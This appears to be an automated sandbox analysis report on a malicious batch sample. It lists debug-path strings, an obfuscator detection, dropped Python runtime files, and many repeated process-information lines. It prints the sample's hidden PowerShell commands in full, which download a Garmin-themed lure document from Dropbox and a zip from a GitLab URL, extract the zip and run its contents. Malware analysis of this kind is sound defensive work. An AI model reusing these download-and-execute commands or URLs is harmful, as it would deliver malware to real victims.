Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: python312.dll.19.dr
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.1429825010.000001C5C344C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Dn.pdb source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbNetwork Adapter source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Q.pdbn source: powershell.exe, 0000000C.00000002.1411266465.000001C5A9570000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.1429825010.000001C5C34DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 0000000C.00000002.1431154014.000001C5C388A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbMiniport (Network Monitor)-QoS Packet Scheduler-0000 source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000000C.00000002.1431154014.000001C5C388A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bpdbtem.pdb2 @G source: powershell.exe, 0000000C.00000002.1411266465.000001C5A9570000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, vcruntime140.dll.19.dr
Source:	Binary string: D:\a\1\b\bin\amd64\pythonw.pdb source: pythonw.exe.19.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, vcruntime140.dll.19.dr
Source:	Binary string: ion.pdbw2 source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 0000000C.00000002.1431154014.000001C5C388A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1431154014.000001C5C388A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Dn.pdb1 source: powershell.exe, 0000000C.00000002.1431154014.000001C5C3874000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected Abobus Obfuscator

Source: Yara match

File source: hnghksdjfhs19De.bat, type: SAMPLE

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"	Jump to behavior

Source: python312.dll.19.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.19.dr	Static PE information: section name: fothk
Source: vcruntime140.dll.19.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF887DB00BD pushad ; iretd	14_2_00007FF887DB00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF887DB0347 push esi; retf	14_2_00007FF887DB0376
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF887DB0327 pushad ; retf	14_2_00007FF887DB0346
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF887DB018D push ds; retf	14_2_00007FF887DB01B6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF887DB0108 push ds; retf	14_2_00007FF887DB01B6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FF887E700BD pushad ; iretd	19_2_00007FF887E700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FF887E705D0 push ss; retf	19_2_00007FF887E705EE

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/zua9grfav23fh4qehh20o/Garmin_Campaign_Information_for_Partners_V12.docx?rlkey=3k997e4pxm2k1l2r5xy1dru3v&st=cdsyusw8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V12.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\pythonw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python312.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python3.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document\LICENSE.txt

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
